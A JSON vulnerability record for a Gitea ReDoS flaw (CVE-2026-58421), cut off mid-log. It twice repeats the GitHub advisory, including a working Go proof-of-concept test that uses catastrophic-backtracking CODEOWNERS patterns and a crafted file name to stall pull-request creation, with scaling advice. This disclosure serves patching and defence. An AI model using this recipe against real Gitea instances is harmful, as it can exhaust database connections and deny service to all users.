{"id":"CVE-2026-58421","aliases":["EUVD-2026-41604","GHSA-v96j-25gv-g2w9","GO-2026-6077","SUSE-SU-2026:23216-1","SUSE-SU-2026:23227-1","openSUSE-SU-2026:21551-1"],"status":"published","title":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","description":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-12","score":0.00396,"percentile":0.34345,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-284"],"published":"2026-07-03T20:54:51Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"Go","package":"code.gitea.io/gitea","fixed_in":["1.26.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.26.2"},{"fixed":"1.26.4"}]}]},{"source":"osv","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.26.4"}]}]},{"source":"osv","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.26.4"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77}],"products":[{"vendor":"gitea","product":"gitea open source git server"}],"references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-v96j-25gv-g2w9","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://github.com/go-gitea/gitea/pull/38011","tags":["patch","fix","web"]},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.26.4","tags":["release-notes","advisory","web"]},{"url":"https://blog.gitea.com/release-of-1.26.3-and-1.26.4/","tags":["release-notes","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58421","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea/commit/ea35af1b68d57522c7686618bd61d3216d91589f","tags":["web"]},{"url":"https://blog.gitea.com/release-of-1.26.3-and-1.26.4","tags":["web"]},{"url":"https://github.com/advisories/GHSA-v96j-25gv-g2w9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58421.json","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623216-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24451","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25038","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-29181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-30246","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32952","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35205","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35206","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-37462","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39883","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40890","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41642","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41643","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42285","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42306","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42554","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42931","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44166","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44283","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44301","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44517","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44740","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44973","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45022","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45135","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45571","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46384","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46385","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49837","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49838","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50151","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50163","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52844","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52845","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52846","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55982","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55984","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55987","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56750","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58417","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58418","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58421","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58426","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58431","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58432","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58434","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58435","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58441","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58442","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58443","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58507","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58510","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6993","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7020","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7482","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8276","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623227-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-58421","title":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","description":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","status":"published","published":"2026-07-03T20:54:51.884Z","modified":"2026-07-06T15:12:29.175Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T13:47:39.876248Z"}],"euvd":[{"id":"EUVD-2026-41604","description":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","status":"published","published":"2026-07-03T20:54:51Z","modified":"2026-07-06T15:12:29Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:13.172179Z"}],"ghsa":[{"id":"GHSA-v96j-25gv-g2w9","title":"Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","description":"This issue has been found by a security agent and review by myself.\n\nGitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.\n\n### Who can trigger it\n\nAny registered user on the instance. The attacker needs only:\n1. A repository they own (created via normal signup)\n2. A `CODEOWNERS` file on the default branch containing malicious patterns\n3. A pull request branch containing a file with a crafted name\n\nNo elevated permissions, no admin access, no existing repositories required.\n\n### How it is triggered\n\nThe attacker pushes a CODEOWNERS file containing repeated instances of a\ncatastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request\nfrom a branch that contains a file named with a long string of repeated\ncharacters followed by a non-matching character (e.g.\n`aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates\neach CODEOWNERS rule against each changed file path — with no timeout — causing\nthe server to hang for the duration of the backtracking.\n\n### Impact\n\nEvery pull request creation runs this evaluation inside a database transaction. A\nhung evaluation holds that transaction open, tying up a database connection for\nthe entire duration. With 11 rules in the CODEOWNERS file, a single pull request\ncreation request takes over 30 seconds. An attacker opening multiple pull\nrequests in parallel can exhaust the database connection pool, making the Gitea\ninstance unresponsive to all users.\n\n### Root cause\n\nThe vulnerable regex is here: \n\nhttps://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886\n\n### PoC\n\nBelow is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.\n\nThis is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`.\n\n`tests/integration/pull_redos_test.go`\n```go\npackage integration\n\n// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability\n// triggered via the full pull.NewPullRequest call chain.\n//\n// POST /api/v1/repos/{owner}/{repo}/pulls\n//   -\u003e routers/api/v1/repo/pull.go:CreatePullRequest\n//   -\u003e pull.NewPullRequest (services/pull/pull.go)\n//   -\u003e db.WithTx                              \u003c- holds DB connection for duration of hang\n//     -\u003e issues_model.NewPullRequest          \u003c- inserts PR into DB\n//     -\u003e PullRequestCodeOwnersReview          \u003c- evaluates CODEOWNERS\n//       -\u003e rule.Rule.MatchString(changedFile) \u003c- hangs here (catastrophic backtracking)\n//\n// The attacker controls both sides of the match:\n//   - CODEOWNERS pattern: \"(a+)+\" compiled as ^(a+)+$ with regexp2.None (no timeout)\n//   - PR changed file:    \"aaa...X\" forces O(2^N) backtracking states\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tuser_model \"gitea.dev/models/user\"\n\t\"gitea.dev/models/unittest\"\n\t\"gitea.dev/modules/git\"\n\tapi \"gitea.dev/modules/structs\"\n\trepo_service \"gitea.dev/services/repository\"\n\tfiles_service \"gitea.dev/services/repository/files\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, u *url.URL) {\n\t\tuser2 := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t\trepo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{\n\t\t\tName:             \"redos-codeowners\",\n\t\t\tReadme:           \"Default\",\n\t\t\tAutoInit:         true,\n\t\t\tObjectFormatName: git.Sha1ObjectFormat.Name(),\n\t\t\tDefaultBranch:    \"main\",\n\t\t}, true)\n\t\trequire.NoError(t, err)\n\n\t\t// Push malicious CODEOWNERS to the default branch.\n\t\t// 11 identical rules × 1 changed file = 11 sequential MatchString calls.\n\t\t// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.\n\t\t// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).\n\t\tvar codeowners strings.Builder\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, \u0026files_service.ChangeRepoFilesOptions{\n\t\t\tOldBranch: repo.DefaultBranch,\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation:     \"create\",\n\t\t\t\t\tTreePath:      \"CODEOWNERS\",\n\t\t\t\t\tContentReader: strings.NewReader(codeowners.String()),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Create a PR branch containing a file whose path is a late-failing input\n\t\t// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces\n\t\t// backtracking through O(2^N) states (~2.8s per rule at 25 chars).\n\t\tmaliciousFilename := strings.Repeat(\"a\", 25) + \"X\"\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, \u0026files_service.ChangeRepoFilesOptions{\n\t\t\tNewBranch: \"attack\",\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation:     \"create\",\n\t\t\t\t\tTreePath:      maliciousFilename,\n\t\t\t\t\tContentReader: strings.NewReader(\"x\"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Obtain an API token for user2 and submit the PR creation request.\n\t\t// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and\n\t\t// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB\n\t\t// connection for the duration of the backtracking hang.\n\t\tsession := loginUser(t, user2.Name)\n\t\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)\n\n\t\tstart := time.Now()\n\t\treq := NewRequestWithJSON(t, http.MethodPost,\n\t\t\tfmt.Sprintf(\"/api/v1/repos/%s/%s/pulls\", user2.Name, repo.Name),\n\t\t\t\u0026api.CreatePullRequestOption{\n\t\t\t\tTitle: \"ReDoS PoC\",\n\t\t\t\tHead:  \"attack\",\n\t\t\t\tBase:  repo.DefaultBranch,\n\t\t\t},\n\t\t).AddTokenAuth(token)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\t\telapsed := time.Since(start)\n\n\t\tt.Logf(\"pull.NewPullRequest completed in %s\", elapsed)\n\t\tassert.Greater(t, elapsed, 25*time.Second,\n\t\t\t\"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised\")\n\t})\n}\n```\n\nNow run:\n\n```\n# 1. Build the binary (needed for git hooks during repo creation)\nmake build\n\n# 2. Run the test\ngo test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/\n```\n\nWhen the unit test starts, you should see that it takes 30 seconds with the following output:\n```\n=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)\n    testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)\n    testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow      POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)\n    testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)\n    pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s\n+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)\n--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)\nPASS\n```\n\nYou can modify the \"11\" number in the CODEOWNERS file to manage execution speed directly: \n```go\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n```\n\nA higher number of lines will increase the execution time.","status":"published","published":"2026-07-21T20:34:33Z","modified":"2026-07-21T20:34:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:40:50.444681Z"}],"nvd":[{"id":"CVE-2026-58421","description":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","status":"published","published":"2026-07-03T21:17:05.347Z","modified":"2026-10-25T15:10:00.147Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:12:27.541515Z"}],"osv":[{"id":"CVE-2026-58421","title":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","description":"Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","status":"published","published":"2026-07-03T20:54:51.884Z","modified":"2026-10-28T02:30:39.851428707Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-v96j-25gv-g2w9","title":"Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","description":"This issue has been found by a security agent and review by myself.\n\nGitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.\n\n### Who can trigger it\n\nAny registered user on the instance. The attacker needs only:\n1. A repository they own (created via normal signup)\n2. A `CODEOWNERS` file on the default branch containing malicious patterns\n3. A pull request branch containing a file with a crafted name\n\nNo elevated permissions, no admin access, no existing repositories required.\n\n### How it is triggered\n\nThe attacker pushes a CODEOWNERS file containing repeated instances of a\ncatastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request\nfrom a branch that contains a file named with a long string of repeated\ncharacters followed by a non-matching character (e.g.\n`aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates\neach CODEOWNERS rule against each changed file path — with no timeout — causing\nthe server to hang for the duration of the backtracking.\n\n### Impact\n\nEvery pull request creation runs this evaluation inside a database transaction. A\nhung evaluation holds that transaction open, tying up a database connection for\nthe entire duration. With 11 rules in the CODEOWNERS file, a single pull request\ncreation request takes over 30 seconds. An attacker opening multiple pull\nrequests in parallel can exhaust the database connection pool, making the Gitea\ninstance unresponsive to all users.\n\n### Root cause\n\nThe vulnerable regex is here: \n\nhttps://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886\n\n### PoC\n\nBelow is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.\n\nThis is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`.\n\n`tests/integration/pull_redos_test.go`\n```go\npackage integration\n\n// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability\n// triggered via the full pull.NewPullRequest call chain.\n//\n// POST /api/v1/repos/{owner}/{repo}/pulls\n//   -\u003e routers/api/v1/repo/pull.go:CreatePullRequest\n//   -\u003e pull.NewPullRequest (services/pull/pull.go)\n//   -\u003e db.WithTx                              \u003c- holds DB connection for duration of hang\n//     -\u003e issues_model.NewPullRequest          \u003c- inserts PR into DB\n//     -\u003e PullRequestCodeOwnersReview          \u003c- evaluates CODEOWNERS\n//       -\u003e rule.Rule.MatchString(changedFile) \u003c- hangs here (catastrophic backtracking)\n//\n// The attacker controls both sides of the match:\n//   - CODEOWNERS pattern: \"(a+)+\" compiled as ^(a+)+$ with regexp2.None (no timeout)\n//   - PR changed file:    \"aaa...X\" forces O(2^N) backtracking states\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tuser_model \"gitea.dev/models/user\"\n\t\"gitea.dev/models/unittest\"\n\t\"gitea.dev/modules/git\"\n\tapi \"gitea.dev/modules/structs\"\n\trepo_service \"gitea.dev/services/repository\"\n\tfiles_service \"gitea.dev/services/repository/files\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, u *url.URL) {\n\t\tuser2 := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t\trepo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{\n\t\t\tName:             \"redos-codeowners\",\n\t\t\tReadme:           \"Default\",\n\t\t\tAutoInit:         true,\n\t\t\tObjectFormatName: git.Sha1ObjectFormat.Name(),\n\t\t\tDefaultBranch:    \"main\",\n\t\t}, true)\n\t\trequire.NoError(t, err)\n\n\t\t// Push malicious CODEOWNERS to the default branch.\n\t\t// 11 identical rules × 1 changed file = 11 sequential MatchString calls.\n\t\t// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.\n\t\t// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).\n\t\tvar codeowners strings.Builder\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, \u0026files_service.ChangeRepoFilesOptions{\n\t\t\tOldBranch: repo.DefaultBranch,\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation:     \"create\",\n\t\t\t\t\tTreePath:      \"CODEOWNERS\",\n\t\t\t\t\tContentReader: strings.NewReader(codeowners.String()),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Create a PR branch containing a file whose path is a late-failing input\n\t\t// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces\n\t\t// backtracking through O(2^N) states (~2.8s per rule at 25 chars).\n\t\tmaliciousFilename := strings.Repeat(\"a\", 25) + \"X\"\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, \u0026files_service.ChangeRepoFilesOptions{\n\t\t\tNewBranch: \"attack\",\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation:     \"create\",\n\t\t\t\t\tTreePath:      maliciousFilename,\n\t\t\t\t\tContentReader: strings.NewReader(\"x\"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Obtain an API token for user2 and submit the PR creation request.\n\t\t// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and\n\t\t// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB\n\t\t// connection for the duration of the backtracking hang.\n\t\tsession := loginUser(t, user2.Name)\n\t\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)\n\n\t\tstart := time.Now()\n\t\treq := NewRequestWithJSON(t, http.MethodPost,\n\t\t\tfmt.Sprintf(\"/api/v1/repos/%s/%s/pulls\", user2.Name, repo.Name),\n\t\t\t\u0026api.CreatePullRequestOption{\n\t\t\t\tTitle: \"ReDoS PoC\",\n\t\t\t\tHead:  \"attack\",\n\t\t\t\tBase:  repo.DefaultBranch,\n\t\t\t},\n\t\t).AddTokenAuth(token)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\t\telapsed := time.Since(start)\n\n\t\tt.Logf(\"pull.NewPullRequest completed in %s\", elapsed)\n\t\tassert.Greater(t, elapsed, 25*time.Second,\n\t\t\t\"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised\")\n\t})\n}\n```\n\nNow run:\n\n```\n# 1. Build the binary (needed for git hooks during repo creation)\nmake build\n\n# 2. Run the test\ngo test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/\n```\n\nWhen the unit test starts, you should see that it takes 30 seconds with the following output:\n```\n=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)\n    testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ 